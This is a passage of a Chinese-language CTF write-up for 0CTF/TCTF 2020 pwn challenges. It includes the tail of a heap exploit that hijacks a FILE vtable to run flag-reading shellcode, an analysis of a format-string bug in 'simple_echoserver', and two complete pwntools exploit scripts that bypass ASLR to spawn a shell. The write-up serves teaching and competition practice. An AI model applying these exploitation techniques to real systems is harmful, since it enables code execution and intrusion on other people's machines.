    setcontext = 0x55e35 + libc
    payload += p64(setcontext) + p64(heap + 0x4df0)+ b"\\x00"*0x10 + p64(magic)
    payload += cyclic(96) + p64(heap) + p64(0x21000) + p64(0)*2 + p64(7)*3 + p64(heap+0x4ea0)
    payload += p64(libc + 0x117590) + p64(heap+0x4ea8)
    payload += (asm(shellcraft.open("./flag")) +
    asm(shellcraft.read("rax",heap+0x100,0x100)) +
    asm(shellcraft.write(1,heap+0x100,"rax")) + b"\\xeb\\xfe")
    payload = payload.ljust(0x3f0,b"F")

    new(fuck[0],payload) # large bin attack success

    remove(fuck[1])
    new(fuck[1],b"C"*0x58 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(heap+0x2c20)*2 + p64(0x21)*24) # fix large bin
    remove(fuck[1])
    remove(fuck[0])
    new(fuck[0],"A"*0x98)
    new(fuck[1],b"D"*0x58 + p64(0xf1) + b"D"*0xe0)
    remove(fuck[0])
    remove(fuck[1])
    new(fuck[1],b"D"*0x58 + p64(0xf1) + p64(libc + 0x1e575b) + b"D"*0xe0)
    remove(fuck[1])
    new(fuck[0],"D"*0xe8)
    payload = (p64(0x00000000fbad2887) +
    p64(libc + 0x1e57e3)*7 +
    p64(0)*7 +
    p64(0xffffffffffffffff) +
    p64(0) +
    p64(libc + 0x1e7580) +
    p64(0xffffffffffffffff) +
    p64(heap + 0x4dd0) +
    p64(heap + 0x4da0) +
    p64(0)*3 +
    p64(0x00000000ffffffff) +
    p64(0)*2 +
    p64(_IO_wfile_sync - 0x38) )
    payload = payload.ljust(0x100,b"\\x00")
    context.terminal = ['tmux', 'splitw', '-h']

    gdb.attach(r, "b *0x555555555BC7")
    # Fastbin attack stdout to get stdout buffer (stdout flag is 0x000000fbxxxxxx, so 0x000000fb can use to be fastbin size).
    # Change puts stdout vtable to _IO_wfile_sync, and contorl rip & rdi
    # Jump magic and setcontext to call mportect, and finally execute shellcode
    new(fuck[1],payload[0xb:0xb+0xe8])
    r.interactive()

simple_server

分析

预期解

程序保护全开,存在一个格式化字符串漏洞

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%205.png

但是远程将stderr重定向到了/dev/null,无法进行泄露,而且正常情况下格式化字符串漏洞只能调用一次。先来看一下fprintf处的栈数据。

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%206.png

函数发生的调用是main->sub_141d->sub_13c1->fprintf。这里的rbp链是0x7fffffffe430 —▸ 0x7fffffffe550 —▸ 0x7fffffffe570

如果我们更改了e550中存储的地址的低字节,那么在141d函数返回的时候就可以劫持栈到修改的地址,如果在此处提前布置好one_gadget就可以getshell

但是无法泄露地址,也就是无法得到one_gadget的实际地址,需要在栈中找到一个libc附近的地址,然后覆写其低四字节内容,从而得到one_gadget的实际地址。注意的是这里只能覆写低四字节的内容,因为%n不能超过int 的范围,也就是0x7fffffff

从汇编代码来看141dreadint(12c9)函数是共用一部分栈空间的,栈中0x7fffffffe4c8地址处在readint中存储的是nptr的地址,也就是一个栈地址,并且随着输入的phone_number的字符串的长度的增加而增加,其初始值为x7fffffffe4d0,而改地址+0x18的位置存储了一个libc附近的地址,因此只要控制phone_number的长度为0x18就可以获得一个指向存储有libc附近地址的指针,就可以使用格式化字符串来修改指向的libc附近的地址为one_gadget的地址。

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%207.png

如果只是单纯的修改one_gadget的偏移,需要爆破的位数过多,这里学到一种方法就是利用%*$c或者%*m$c来指定输出的长度。这里这个m是第几个参数的意思,例如

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%208.png

假设需要将libc附近的地址改为libc_base+0xe58c3,在上图中改地址为0x7fdb136bb8c3fprintf函数的第30个参数也就是libc附近初始值为0x7fdb13664400,因此需要将改地址+0x7fdb135d6000 + 0xe58c3 - 0x7fdb13664400个大小。格式化字符串如下

1
2
"%{}c%*30$c%26$n".format(0x7fdb135d6000 + 0xe58c3 - 0x7fdb13664400 - 0xd)

这里的%*30%c就是取第30个参数作为长度,也就是%325469184$c0x13664400=325469184。最终将libc附近的地址改为我们想要的地址。这里就相当于绕过了地址随机化。

在调试的时候需要注意满足两个条件才可以(如上图),一个是rbp的低一字节地址需要>0xd0,这样才可以改写栈地址指向one_gadget-0x8的位置,第二个就是libc的地址的低四字节需要大于0x7fffffff,因为大于0x7fffffff之后会被认为是负数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# encoding=utf-8
from pwn import *

file_path = "./simple_echoserver"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
f = open("/dev/null", "wb")
p = process([file_path,], stderr=f)
# gdb.attach(p, "b *$rebase(0x13FF)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

def exploit():
onegadget = 0xe58c3
name = "%{}c%7$hhn%{}c%*30$c%26$n".format(0x50 - 0xd, 0x7fdb135d6000 + onegadget - 0x7fdb13664400 - 0x50)
phone_num = "2" * 24

p.sendlineafter("Your name: ", name)
p.sendlineafter("Your phone: ", phone_num)

p.sendlineafter("enjoy yourself!\\n", "~.")
try:
p.sendline("echo success")
res = p.recvuntil("success", timeout=1)
if not res:
p.close()
raise EOFError
except EOFError:
return False
return True

while True:
if exploit():
break
p = process([file_path, ], stderr=f)

p.interactive()

其他方法

再来看一下调用sprintf函数时候的栈数据

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%209.png

rop链的最后一条地址,程序返回之后会执行最后一个rbp(0xe570)地址中存储的返回地址,之后就会执行0xe578中存储的libc_start_main+231的指令,也就是执行exit。如果我们修改0xe578中存储的libc_start_main指令地址为one_gadget地址,这样的话在程序返回的时候就会执行one_gadget,从而getshell。需要注意的是在更改得到one_gadget地址之后需要将原RBP链复位,使得程序能正常返回。这里在运行one_gadget的时候环境发生改变,新的gadget的地址为0x4f3c2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# encoding=utf-8
from pwn import *

file_path = "./simple_echoserver"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
f = open("/dev/null", "wb")
p = process([file_path,], stderr=f)
# gdb.attach(p, "b *$rebase(0x13FF)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

def exploit():
onegadget = 0x4f3c2
name = "%c%c%c%c%c%{}c%hhn%{}c%*48$c%43$n%{}c%7$hhn"\\
.format(0xf8 - 0xd - 0x5,
0x7f111588d000 + onegadget - 0x7f11158aeb97 - 0xf8,
(0xf0-0xc2+0x100)%0x100)
phone_num = "2" * 24

p.sendlineafter("Your name: ", name)
p.sendlineafter("Your phone: ", phone_num)

p.sendlineafter("enjoy yourself!\\n", "~.")
try:
p.sendline("echo success")
res = p.recvuntil("success", timeout=1)
if not res:
p.close()
raise EOFError
except EOFError:
return False
return True

while True:
if exploit():
break
p = process([file_path, ], stderr=f)

# exploit()
p.interactive()

解2

这种方法没有用到%*来使用参数指定输出的长度,而是利用栈中0xe480/0xe498中存储的_start地址通过将改写rbp链将栈迁移到0xe490地址处,函数返回的时候就会进入_start函数,从而无限次利用格式化字符串漏洞。

此时就可以修改stderr,将其修改为stdout(修改_fileno成员变量为1)。这里可以利用栈中残留的_IO_2_1_stdin_指针,改指针在一般情况下与_IO_2_1_stderr_指针仅低两字节不同,而低3位数字是offset不受ASLR的影响,因此只需要爆破一位数字即可。那么首先修改一个栈地址,指向存储_IO_2_1_stdin_的位置,接着将_IO_2_1_stdin_修改为_IO_2_1_stderr_._fileno附近的地址,再次修改_fileno即可利用格式化字符串泄露libc地址,接着覆写返回地址为one_gadget即可getshell。具体参考这篇文章

参考

0CTF/TCTF 2020 Quals PWN

2020 0CTF/TCTF quals Duet writeup

0CTF/TCTF 2020 Quals

simple echoserver Wp